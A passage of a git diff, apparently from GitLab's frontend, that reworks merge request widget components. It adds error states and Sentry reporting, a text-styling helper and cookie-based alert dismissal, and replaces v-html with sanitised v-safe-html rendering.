diff --git a/app/assets/javascripts/user_lists/components/add_user_modal.vue b/app/assets/javascripts/user_lists/components/add_user_modal.vue
index a8dde1f681e..e982d10f63b 100644
--- a/app/assets/javascripts/user_lists/components/add_user_modal.vue
+++ b/app/assets/javascripts/user_lists/components/add_user_modal.vue
@@ -19,7 +19,7 @@ export default {
modalOptions: {
actionPrimary: {
text: s__('UserLists|Add'),
- attributes: [{ 'data-testid': 'confirm-add-user-ids' }],
+ attributes: [{ 'data-testid': 'confirm-add-user-ids', variant: 'confirm' }],
},
actionCancel: {
text: s__('UserLists|Cancel'),
diff --git a/app/assets/javascripts/user_lists/components/user_list.vue b/app/assets/javascripts/user_lists/components/user_list.vue
index 4cf3f3010b9..e86b3f81daa 100644
--- a/app/assets/javascripts/user_lists/components/user_list.vue
+++ b/app/assets/javascripts/user_lists/components/user_list.vue
@@ -105,7 +105,7 @@ export default {
<gl-button
v-gl-modal="$options.ADD_USER_MODAL_ID"
data-testid="add-users"
- variant="success"
+ variant="confirm"
>
{{ $options.translations.addUserButtonLabel }}
</gl-button>
diff --git a/app/assets/javascripts/vue_alerts.js b/app/assets/javascripts/vue_alerts.js
index abc1dd75645..b44f787cf30 100644
--- a/app/assets/javascripts/vue_alerts.js
+++ b/app/assets/javascripts/vue_alerts.js
@@ -1,7 +1,17 @@
import Vue from 'vue';
+import Cookies from 'js-cookie';
import { parseBoolean } from '~/lib/utils/common_utils';
import DismissibleAlert from '~/vue_shared/components/dismissible_alert.vue';
+const getCookieExpirationPeriod = (expirationPeriod) => {
+ const defaultExpirationPeriod = 30;
+ const alertExpirationPeriod = Number(expirationPeriod);
+
+ return !expirationPeriod || Number.isNaN(alertExpirationPeriod)
+ ? defaultExpirationPeriod
+ : alertExpirationPeriod;
+};
+
const mountVueAlert = (el) => {
const props = {
html: el.innerHTML,
@@ -10,11 +20,25 @@ const mountVueAlert = (el) => {
...el.dataset,
dismissible: parseBoolean(el.dataset.dismissible),
};
+ const { dismissCookieName, dismissCookieExpire } = el.dataset;
return new Vue({
el,
- render(h) {
- return h(DismissibleAlert, { props, attrs });
+ render(createElement) {
+ return createElement(DismissibleAlert, {
+ props,
+ attrs,
+ on: {
+ alertDismissed() {
+ if (!dismissCookieName) {
+ return;
+ }
+ Cookies.set(dismissCookieName, true, {
+ expires: getCookieExpirationPeriod(dismissCookieExpire),
+ });
+ },
+ },
+ });
},
});
};
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_info.vue b/app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_info.vue
index f4f611dfd1b..e115710b5d1 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_info.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_info.vue
@@ -1,7 +1,7 @@
<script>
import { GlLink, GlTooltipDirective } from '@gitlab/ui';
import { __ } from '~/locale';
-import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
+import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate/tooltip_on_truncate.vue';
import timeagoMixin from '~/vue_shared/mixins/timeago';
import {
MANUAL_DEPLOY,
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/extensions/base.vue b/app/assets/javascripts/vue_merge_request_widget/components/extensions/base.vue
index 6f10f788952..549cf64fb08 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/extensions/base.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/extensions/base.vue
@@ -9,17 +9,20 @@ import {
GlIntersectionObserver,
} from '@gitlab/ui';
import { once } from 'lodash';
+import * as Sentry from '@sentry/browser';
import api from '~/api';
import { sprintf, s__, __ } from '~/locale';
import SmartVirtualList from '~/vue_shared/components/smart_virtual_list.vue';
-import { EXTENSION_ICON_CLASS } from '../../constants';
+import { EXTENSION_ICON_CLASS, EXTENSION_ICONS } from '../../constants';
import StatusIcon from './status_icon.vue';
import Actions from './actions.vue';
+import { generateText } from './utils';
export const LOADING_STATES = {
collapsedLoading: 'collapsedLoading',
collapsedError: 'collapsedError',
expandedLoading: 'expandedLoading',
+ expandedError: 'expandedError',
};
export default {
@@ -40,8 +43,8 @@ export default {
data() {
return {
loadingState: LOADING_STATES.collapsedLoading,
- collapsedData: null,
- fullData: null,
+ collapsedData: {},
+ fullData: [],
isCollapsed: true,
showFade: false,
};
@@ -53,6 +56,9 @@ export default {
widgetLoadingText() {
return this.$options.i18n?.loading || __('Loading...');
},
+ widgetErrorText() {
+ return this.$options.i18n?.error || __('Failed to load');
+ },
isLoadingSummary() {
return this.loadingState === LOADING_STATES.collapsedLoading;
},
@@ -60,11 +66,16 @@ export default {
return this.loadingState === LOADING_STATES.expandedLoading;
},
isCollapsible() {
- if (this.isLoadingSummary) {
- return false;
- }
-
- return true;
+ return !this.isLoadingSummary && this.loadingState !== LOADING_STATES.collapsedError;
+ },
+ hasFullData() {
+ return this.fullData.length > 0;
+ },
+ hasFetchError() {
+ return (
+ this.loadingState === LOADING_STATES.collapsedError ||
+ this.loadingState === LOADING_STATES.expandedError
+ );
},
collapseButtonLabel() {
return sprintf(
@@ -75,6 +86,7 @@ export default {
);
},
statusIconName() {
+ if (this.hasFetchError) return EXTENSION_ICONS.error;
if (this.isLoadingSummary) return null;
return this.statusIcon(this.collapsedData);
@@ -82,6 +94,20 @@ export default {
tertiaryActionsButtons() {
return this.tertiaryButtons ? this.tertiaryButtons() : undefined;
},
+ hydratedSummary() {
+ const structuredOutput = this.summary(this.collapsedData);
+ const summary = {
+ subject: generateText(
+ typeof structuredOutput === 'string' ? structuredOutput : structuredOutput.subject,
+ ),
+ };
+
+ if (structuredOutput.meta) {
+ summary.meta = generateText(structuredOutput.meta);
+ }
+
+ return summary;
+ },
},
watch: {
isCollapsed(newVal) {
@@ -93,15 +119,7 @@ export default {
},
},
mounted() {
- this.fetchCollapsedData(this.$props)
- .then((data) => {
- this.collapsedData = data;
- this.loadingState = null;
- })
- .catch((e) => {
- this.loadingState = LOADING_STATES.collapsedError;
- throw e;
- });
+ this.loadCollapsedData();
},
methods: {
triggerRedisTracking: once(function triggerRedisTracking() {
@@ -114,8 +132,22 @@ export default {
this.triggerRedisTracking();
},
+ loadCollapsedData() {
+ this.loadingState = LOADING_STATES.collapsedLoading;
+
+ this.fetchCollapsedData(this.$props)
+ .then((data) => {
+ this.collapsedData = data;
+ this.loadingState = null;
+ })
+ .catch((e) => {
+ this.loadingState = LOADING_STATES.collapsedError;
+
+ Sentry.captureException(e);
+ });
+ },
loadAllData() {
- if (this.fullData) return;
+ if (this.hasFullData) return;
this.loadingState = LOADING_STATES.expandedLoading;
@@ -125,10 +157,14 @@ export default {
this.fullData = data;
})
.catch((e) => {
- this.loadingState = null;
- throw e;
+ this.loadingState = LOADING_STATES.expandedError;
+
+ Sentry.captureException(e);
});
},
+ isArray(arr) {
+ return Array.isArray(arr);
+ },
appear(index) {
if (index === this.fullData.length - 1) {
this.showFade = false;
@@ -139,6 +175,7 @@ export default {
this.showFade = true;
}
},
+ generateText,
},
EXTENSION_ICON_CLASS,
};
@@ -153,20 +190,29 @@ export default {
:icon-name="statusIconName"
/>
<div
- class="media-body gl-display-flex gl-flex-direction-row!"
+ class="media-body gl-display-flex gl-flex-direction-row! gl-align-self-center"
data-testid="widget-extension-top-level"
>
<div class="gl-flex-grow-1">
<template v-if="isLoadingSummary">{{ widgetLoadingText }}</template>
- <div v-else v-safe-html="summary(collapsedData)"></div>
+ <template v-else-if="hasFetchError">{{ widgetErrorText }}</template>
+ <div v-else>
+ <span v-safe-html="hydratedSummary.subject"></span>
+ <template v-if="hydratedSummary.meta">
+ <br />
+ <span v-safe-html="hydratedSummary.meta" class="gl-font-sm"></span>
+ </template>
+ </div>
</div>
<actions
:widget="$options.label || $options.name"
:tertiary-buttons="tertiaryActionsButtons"
/>
- <div class="gl-border-l-1 gl-border-l-solid gl-border-gray-100 gl-ml-3 gl-pl-3 gl-h-6">
+ <div
+ v-if="isCollapsible"
+ class="gl-border-l-1 gl-border-l-solid gl-border-gray-100 gl-ml-3 gl-pl-3 gl-h-6"
+ >
<gl-button
- v-if="isCollapsible"
v-gl-tooltip
:title="collapseButtonLabel"
:aria-expanded="`${!isCollapsed}`"
@@ -189,7 +235,7 @@ export default {
<gl-loading-icon size="sm" inline /> {{ __('Loading...') }}
</div>
<smart-virtual-list
- v-else-if="fullData"
+ v-else-if="hasFullData"
:length="fullData.length"
:remain="20"
:size="32"
@@ -203,37 +249,64 @@ export default {
:class="{
'gl-border-b-solid gl-border-b-1 gl-border-gray-100': index !== fullData.length - 1,
}"
- class="gl-display-flex gl-align-items-center gl-py-3 gl-pl-7"
+ class="gl-py-3 gl-pl-7"
data-testid="extension-list-item"
>
- <status-icon v-if="data.icon" :icon-name="data.icon.name" :size="12" class="gl-pl-0" />
- <gl-intersection-observer
- :options="{ rootMargin: '100px', thresholds: 0.1 }"
- class="gl-flex-wrap gl-display-flex gl-w-full"
- @appear="appear(index)"
- @disappear="disappear(index)"
- >
- <div
- v-safe-html="data.text"
- class="gl-mr-4 gl-display-flex gl-align-items-center"
- ></div>
- <div v-if="data.link">
- <gl-link :href="data.link.href">{{ data.link.text }}</gl-link>
+ <div class="gl-w-full">
+ <div v-if="data.header" class="gl-mb-2">
+ <template v-if="isArray(data.header)">
+ <component
+ :is="headerI === 0 ? 'strong' : 'span'"
+ v-for="(header, headerI) in data.header"
+ :key="headerI"
+ v-safe-html="generateText(header)"
+ class="gl-display-block"
+ />
+ </template>
+ <strong v-else v-safe-html="generateText(data.header)"></strong>
+ </div>
+ <div class="gl-display-flex">
+ <status-icon
+ v-if="data.icon"
+ :icon-name="data.icon.name"
+ :size="12"
+ class="gl-pl-0"
+ />
+ <gl-intersection-observer
+ :options="{ rootMargin: '100px', thresholds: 0.1 }"
+ class="gl-w-full"
+ @appear="appear(index)"
+ @disappear="disappear(index)"
+ >
+ <div class="gl-flex-wrap gl-display-flex gl-w-full">
+ <div class="gl-mr-4 gl-display-flex gl-align-items-center">
+ <p v-safe-html="generateText(data.text)" class="gl-m-0"></p>
+ </div>
+ <div v-if="data.link">
+ <gl-link :href="data.link.href">{{ data.link.text }}</gl-link>
+ </div>
+ <gl-badge v-if="data.badge" :variant="data.badge.variant || 'info'">
+ {{ data.badge.text }}
+ </gl-badge>
+ <actions
+ :widget="$options.label || $options.name"
+ :tertiary-buttons="data.actions"
+ class="gl-ml-auto"
+ />
+ </div>
+ <p
+ v-if="data.subtext"
+ v-safe-html="generateText(data.subtext)"
+ class="gl-m-0 gl-font-sm"
+ ></p>
+ </gl-intersection-observer>
</div>
- <gl-badge v-if="data.badge" :variant="data.badge.variant || 'info'">
- {{ data.badge.text }}
- </gl-badge>
- <actions
- :widget="$options.label || $options.name"
- :tertiary-buttons="data.actions"
- class="gl-ml-auto"
- />
- </gl-intersection-observer>
+ </div>
</li>
</smart-virtual-list>
<div
:class="{ show: showFade }"
- class="fade mr-extenson-scrim gl-absolute gl-left-0 gl-bottom-0 gl-w-full gl-h-7"
+ class="fade mr-extenson-scrim gl-absolute gl-left-0 gl-bottom-0 gl-w-full gl-h-7 gl-pointer-events-none"
></div>
</div>
</section>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/extensions/utils.js b/app/assets/javascripts/vue_merge_request_widget/components/extensions/utils.js
new file mode 100644
index 00000000000..8ba13cf8252
--- /dev/null
+++ b/app/assets/javascripts/vue_merge_request_widget/components/extensions/utils.js
@@ -0,0 +1,62 @@
+const TEXT_STYLES = {
+ success: {
+ start: '%{success_start}',
+ end: '%{success_end}',
+ },
+ danger: {
+ start: '%{danger_start}',
+ end: '%{danger_end}',
+ },
+ critical: {
+ start: '%{critical_start}',
+ end: '%{critical_end}',
+ },
+ same: {
+ start: '%{same_start}',
+ end: '%{same_end}',
+ },
+ strong: {
+ start: '%{strong_start}',
+ end: '%{strong_end}',
+ },
+ small: {
+ start: '%{small_start}',
+ end: '%{small_end}',
+ },
+};
+
+const getStartTag = (tag) => TEXT_STYLES[tag].start;
+const textStyleTags = {
+ [getStartTag('success')]: '<span class="gl-font-weight-bold gl-text-green-500">',
+ [getStartTag('danger')]: '<span class="gl-font-weight-bold gl-text-red-500">',
+ [getStartTag('critical')]: '<span class="gl-font-weight-bold gl-text-red-800">',
+ [getStartTag('same')]: '<span class="gl-font-weight-bold gl-text-gray-700">',
+ [getStartTag('strong')]: '<span class="gl-font-weight-bold">',
+ [getStartTag('small')]: '<span class="gl-font-sm">',
+};
+
+export const generateText = (text) => {
+ if (typeof text !== 'string') return null;
+
+ return text
+ .replace(
+ new RegExp(
+ `(${Object.values(TEXT_STYLES)
+ .reduce((acc, i) => [...acc, ...Object.values(i)], [])
+ .join('|')})`,
+ 'gi',
+ ),
+ (replace) => {
+ const replacement = textStyleTags[replace];
+
+ // If the replacement tag ends with a `_end` then we can just return `</span>`
+ // unless we have a replacement, for cases were we want to change the HTML tag
+ if (!replacement && replace.endsWith('_end}')) {
+ return '</span>';
+ }
+
+ return replacement;
+ },
+ )
+ .replace(/%{([a-z]|_)+}/g, ''); // Filter out any tags we don't know about
+};
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_header.vue b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_header.vue
index 9070cb1fe65..235a200b747 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_header.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_header.vue
@@ -13,7 +13,7 @@ import {
import { constructWebIDEPath } from '~/lib/utils/url_utility';
import { s__ } from '~/locale';
import clipboardButton from '~/vue_shared/components/clipboard_button.vue';
-import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
+import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate/tooltip_on_truncate.vue';
import WebIdeLink from '~/vue_shared/components/web_ide_link.vue';
import MrWidgetHowToMergeModal from './mr_widget_how_to_merge_modal.vue';
import MrWidgetIcon from './mr_widget_icon.vue';
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline.vue b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline.vue
index f7c952f9ef6..c0b80eef082 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline.vue
@@ -15,7 +15,7 @@ import PipelineMiniGraph from '~/pipelines/components/pipelines_list/pipeline_mi
import PipelineArtifacts from '~/pipelines/components/pipelines_list/pipelines_artifacts.vue';
import CiIcon from '~/vue_shared/components/ci_icon.vue';
import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
-import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
+import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate/tooltip_on_truncate.vue';
import { MT_MERGE_STRATEGY } from '../constants';
export default {
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_related_links.vue b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_related_links.vue
index c314261d3f5..730d11b1208 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_related_links.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_related_links.vue
@@ -1,9 +1,13 @@
<script>
+import { GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
import { s__, n__ } from '~/locale';
import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
export default {
name: 'MRWidgetRelatedLinks',
+ directives: {
+ SafeHtml,
+ },
mixins: [glFeatureFlagMixin()],
props: {
relatedLinks: {
@@ -43,14 +47,14 @@ export default {
:class="{ 'gl-display-line gl-m-0': glFeatures.restructuredMrWidget }"
>
{{ closesText }}
- <span v-html="relatedLinks.closing /* eslint-disable-line vue/no-v-html */"></span>
+ <span v-safe-html="relatedLinks.closing"></span>
</p>
<p
v-if="relatedLinks.mentioned"
:class="{ 'gl-display-line gl-m-0': glFeatures.restructuredMrWidget }"
>
{{ n__('mrWidget|Mentions issue', 'mrWidget|Mentions issues', relatedLinks.mentionedCount) }}
- <span v-html="relatedLinks.mentioned /* eslint-disable-line vue/no-v-html */"></span>
+ <span v-safe-html="relatedLinks.mentioned"></span>
</p>
<p
v-if="relatedLinks.assignToMe && showAssignToMe"
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/commit_edit.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/commit_edit.vue
index 3eda2828e97..18761d04c2e 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/commit_edit.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/commit_edit.vue
@@ -41,7 +41,6 @@ export default {
rows="7"
@input="$emit('input', $event.target.value)"
></textarea>
- <slot name="text-muted"></slot>
</div>
</li>
</template>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/merge_checks_failed.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/merge_checks_failed.vue
index 503ddf8a396..ce572f8b0bf 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/merge_checks_failed.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/merge_checks_failed.vue
@@ -9,7 +9,7 @@ export default {
pipelineFailed: s__(
'mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure.',
),
- approvalNeeded: s__('mrWidget|You can only merge once this merge request is approved.'),
+ approvalNeeded: s__('mrWidget|Merge blocked: this merge request must be approved.'),
unresolvedDiscussions: s__('mrWidget|Merge blocked: all threads must be resolved.'),
},
components: {
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_archived.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_archived.vue
index 29c26f4fb3e..13b1e49f44e 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_archived.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_archived.vue
@@ -20,7 +20,7 @@ export default {
</div>
<div class="media-body">
<span class="bold">
- {{ s__('mrWidget|This project is archived, write access has been disabled') }}
+ {{ s__('mrWidget|Merge unavailable: merge requests are read-only on archived projects.') }}
</span>
</div>
</div>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_conflicts.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_conflicts.vue
index 1596f852b74..7a002d41ac0 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_conflicts.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_conflicts.vue
@@ -117,11 +117,12 @@ export default {
</span>
<template v-else>
<span class="bold">
- {{ s__('mrWidget|There are merge conflicts') }}<span v-if="!canMerge">.</span>
+ {{ s__('mrWidget|Merge blocked: merge conflicts must be resolved.') }}
<span v-if="!canMerge">
{{
- s__(`mrWidget|Resolve these conflicts or ask someone
- with write access to this repository to merge it locally`)
+ s__(
+ `mrWidget|Users who can write to the source or target branches can resolve the conflicts.`,
+ )
}}
</span>
</span>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_rebase.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_rebase.vue
index 9f2870d8d69..01e8303f513 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_rebase.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_rebase.vue
@@ -121,9 +121,6 @@ export default {
if (res.merge_error && res.merge_error.length) {
this.rebasingError = res.merge_error;
- createFlash({
- message: __('Something went wrong. Please try again.'),
- });
}
eventHub.$emit('MRWidgetRebaseSuccess');
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/ready_to_merge.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/ready_to_merge.vue
index d2cc99302a9..8830128b7d6 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/ready_to_merge.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/ready_to_merge.vue
@@ -181,9 +181,16 @@ export default {
return this.mr.canRemoveSourceBranch;
},
commitTemplateHelpPage() {
- return helpPagePath('user/project/merge_requests/commit_templates.md', {
- anchor: 'merge-commit-message-template',
- });
+ return helpPagePath('user/project/merge_requests/commit_templates.md');
+ },
+ commitTemplateHintText() {
+ if (this.shouldShowSquashEdit && this.shouldShowMergeEdit) {
+ return this.$options.i18n.mergeAndSquashCommitTemplatesHintText;
+ }
+ if (this.shouldShowSquashEdit) {
+ return this.$options.i18n.squashCommitTemplateHintText;
+ }
+ return this.$options.i18n.mergeCommitTemplateHintText;
},
commits() {
if (this.glFeatures.mergeRequestWidgetGraphql) {
@@ -287,7 +294,7 @@ export default {
return false;
}
- return enableSquashBeforeMerge && this.commitsCount > 1;
+ return enableSquashBeforeMerge;
},
shouldShowMergeControls() {
if (this.glFeatures.restructuredMrWidget) {
@@ -509,6 +516,12 @@ export default {
mergeCommitTemplateHintText: s__(
'mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}',
),
+ squashCommitTemplateHintText: s__(
+ 'mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}',
+ ),
+ mergeAndSquashCommitTemplatesHintText: s__(
+ 'mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}',
+ ),
},
};
</script>
@@ -590,13 +603,7 @@ export default {
:class="{ 'gl-w-full gl-order-n1 gl-mb-5': glFeatures.restructuredMrWidget }"
class="gl-display-flex gl-align-items-center gl-flex-wrap"
>
- <merge-train-helper-icon
- v-if="shouldRenderMergeTrainHelperIcon"
- :merge-train-when-pipeline-succeeds-docs-path="
- mr.mergeTrainWhenPipelineSucceedsDocsPath
- "
- class="gl-mx-3"
- />
+ <merge-train-helper-icon v-if="shouldRenderMergeTrainHelperIcon" class="gl-mx-3" />
<gl-form-checkbox
v-if="canRemoveSourceBranch"
@@ -680,23 +687,22 @@ export default {
:label="__('Merge commit message')"
input-id="merge-message-edit"
class="gl-m-0! gl-p-0!"
- >
- <template #text-muted>
- <p class="form-text text-muted">
- <gl-sprintf :message="$options.i18n.mergeCommitTemplateHintText">
- <template #link="{ content }">
- <gl-link
- :href="commitTemplateHelpPage"
- class="inline-link"
- target="_blank"
- >
- {{ content }}
- </gl-link>
- </template>
- </gl-sprintf>
- </p>
- </template>
- </commit-edit>
+ />
+ <li class="gl-m-0! gl-p-0!">
+ <p class="form-text text-muted">
+ <gl-sprintf :message="commitTemplateHintText">
+ <template #link="{ content }">
+ <gl-link
+ :href="commitTemplateHelpPage"
+ class="inline-link"
+ target="_blank"
+ >
+ {{ content }}
+ </gl-link>
+ </template>
+ </gl-sprintf>
+ </p>
+ </li>
</ul>
</div>
<div
@@ -798,19 +804,18 @@ export default {
v-model="commitMessage"
:label="__('Merge commit message')"
input-id="merge-message-edit"
- >
- <template #text-muted>
- <p class="form-text text-muted">
- <gl-sprintf :message="$options.i18n.mergeCommitTemplateHintText">
- <template #link="{ content }">
- <gl-link :href="commitTemplateHelpPage" class="inline-link" target="_blank">
- {{ content }}
- </gl-link>
- </template>
- </gl-sprintf>
- </p>
- </template>
- </commit-edit>
+ />
+ <li>
+ <p class="form-text text-muted">
+ <gl-sprintf :message="commitTemplateHintText">
+ <template #link="{ content }">
+ <gl-link :href="commitTemplateHelpPage" class="inline-link" target="_blank">
+ {{ content }}
+ </gl-link>
+ </template>
+ </gl-sprintf>
+ </p>
+ </li>
</ul>
</commits-header>
</template>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/work_in_progress.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/work_in_progress.vue
index fa4f8b76cb9..ba831a33b73 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/work_in_progress.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/work_in_progress.vue
@@ -165,13 +165,12 @@ export default {
<div class="mr-widget-body media">
<status-icon :show-disabled-button="canUpdate" status="warning" />
<div class="media-body">
- <div class="gl-ml-3 float-left">
+ <div class="float-left">
<span class="gl-font-weight-bold">
- {{ __('This merge request is still a draft.') }}
+ {{
+ __("Merge blocked: merge request must be marked as ready. It's still marked as draft.")
+ }}
</span>
- <span class="gl-display-block text-muted">{{
- __("Draft merge requests can't be merged.")
- }}</span>
</div>
<gl-button
v-if="canUpdate"
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/terraform/terraform_plan.vue b/app/assets/javascripts/vue_merge_request_widget/components/terraform/terraform_plan.vue
index 87a310efe78..1e5f7361966 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/terraform/terraform_plan.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/terraform/terraform_plan.vue
@@ -20,8 +20,8 @@ export default {
'Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete',
),
generationErrored: s__('Terraform|Generating the report caused an error.'),
- namedReportFailed: s__('Terraform|The report %{name} failed to generate.'),
- namedReportGenerated: s__('Terraform|The report %{name} was generated in your pipelines.'),
+ namedReportFailed: s__('Terraform|The job %{name} failed to generate a report.'),
+ namedReportGenerated: s__('Terraform|The job %{name} generated a report.'),
reportFailed: s__('Terraform|A report failed to generate.'),
reportGenerated: s__('Terraform|A report was generated in your pipelines.'),
},
diff --git a/app/assets/javascripts/vue_merge_request_widget/constants.js b/app/assets/javascripts/vue_merge_request_widget/constants.js
index d0c6cf12e25..2edccce7f4e 100644
--- a/app/assets/javascripts/vue_merge_request_widget/constants.js
+++ b/app/assets/javascripts/vue_merge_request_widget/constants.js
@@ -50,6 +50,18 @@ export const MERGE_ACTIVE_STATUS_PHRASES = [
message: s__('mrWidget|Merging! This is going to be great…'),
emoji: 'heart_eyes',
},
+ {
+ message: s__('mrWidget|Merging! Lift-off in 5… 4… 3…'),
+ emoji: 'rocket',
+ },
+ {
+ message: s__('mrWidget|Merging! The changes are leaving the station…'),
+ emoji: 'bullettrain_front',
+ },
+ {
+ message: s__('mrWidget|Merging! Take a deep breath and relax…'),
+ emoji: 'sunglasses',
+ },
];
const STATE_MACHINE = {
@@ -146,4 +158,7 @@ export const EXTENSION_ICON_CLASS = {
severityUnknown: 'gl-text-gray-400',
};
+export const EXTENSION_SUMMARY_FAILED_CLASS = 'gl-text-red-500';
+export const EXTENSION_SUMMARY_NEUTRAL_CLASS = 'gl-text-gray-700';
+
export { STATE_MACHINE };
diff --git a/app/assets/javascripts/vue_merge_request_widget/extensions/issues.js b/app/assets/javascripts/vue_merge_request_widget/extensions/issues.js
index 9cbc0b0e5d1..ba3336df2eb 100644
--- a/app/assets/javascripts/vue_merge_request_widget/extensions/issues.js
+++ b/app/assets/javascripts/vue_merge_request_widget/extensions/issues.js
@@ -2,6 +2,7 @@
import { EXTENSION_ICONS } from '../constants';
import issuesCollapsedQuery from './issues_collapsed.query.graphql';
import issuesQuery from './issues.query.graphql';
+import { n__, sprintf } from '~/locale';
export default {
// Give the extension a name
@@ -20,7 +21,14 @@ export default {
// Small summary text to be displayed in the collapsed state
// Receives the collapsed data as an argument
summary(count) {
- return 'Summary text<br/>Second line';
+ return sprintf(
+ n__(
+ 'ciReport|Load performance test metrics detected %{strong_start}%{changesFound}%{strong_end} change',
+ 'ciReport|Load performance test metrics detected %{strong_start}%{changesFound}%{strong_end} changes',
+ changesFound,
+ ),
+ { changesFound },
+ );
},
// Status icon to be used next to the summary text
// Receives the collapsed data as an argument
@@ -57,9 +65,13 @@ export default {
.query({ query: issuesQuery, variables: { projectPath: targetProjectFullPath } })
.then(({ data }) => {
// Return some transformed data to be rendered in the expanded state
- return data.project.issues.nodes.map((issue) => ({
+ return data.project.issues.nodes.map((issue, i) => ({
id: issue.id, // Required: The ID of the object
- text: issue.title, // Required: The text to get used on each row
+ header: ['New', 'This is an %{strong_start}issue%{strong_end} row'],
+ text:
+ '%{critical_start}1 Critical%{critical_end}, %{danger_start}1 High%{danger_end}, and %{strong_start}1 Other%{strong_end}. %{small_start}Some smaller text%{small_end}', // Required: The text to get used on each row
+ subtext:
+ 'Reported resource changes: %{strong_start}2%{strong_end} to add, 0 to change, 0 to delete', // Optional: The sub-text to get displayed below each rows main content
// Icon to get rendered on the side of each row
icon: {
// Required: Name maps to an icon in GitLabs SVG
diff --git a/app/assets/javascripts/vue_merge_request_widget/extensions/issues.query.graphql b/app/assets/javascripts/vue_merge_request_widget/extensions/issues.query.graphql
index 690f571c083..5c54560bd02 100644
--- a/app/assets/javascripts/vue_merge_request_widget/extensions/issues.query.graphql
+++ b/app/assets/javascripts/vue_merge_request_widget/extensions/issues.query.graphql
@@ -1,5 +1,6 @@
query getAllIssues($projectPath: ID!) {
project(fullPath: $projectPath) {
+ id
issues {
nodes {
id
diff --git a/app/assets/javascripts/vue_merge_request_widget/extensions/issues_collapsed.query.graphql b/app/assets/javascripts/vue_merge_request_widget/extensions/issues_collapsed.query.graphql
index da1cace4598..bf278e1ea85 100644
--- a/app/assets/javascripts/vue_merge_request_widget/extensions/issues_collapsed.query.graphql
+++ b/app/assets/javascripts/vue_merge_request_widget/extensions/issues_collapsed.query.graphql
@@ -1,5 +1,6 @@
query getProjectIssues($projectPath: ID!) {
project(fullPath: $projectPath) {
+ id
issues {
count
}
diff --git a/app/assets/javascripts/vue_merge_request_widget/mixins/ready_to_merge.js b/app/assets/javascripts/vue_merge_request_widget/mixins/ready_to_merge.js
index 83789f10285..fa618756bb5 100644
--- a/app/assets/javascripts/vue_merge_request_widget/mixins/ready_to_merge.js
+++ b/app/assets/javascripts/vue_merge_request_widget/mixins/ready_to_merge.js
@@ -1,6 +1,8 @@
import { __ } from '~/locale';
-export const MERGE_DISABLED_TEXT = __('You can only merge once the items above are resolved.');
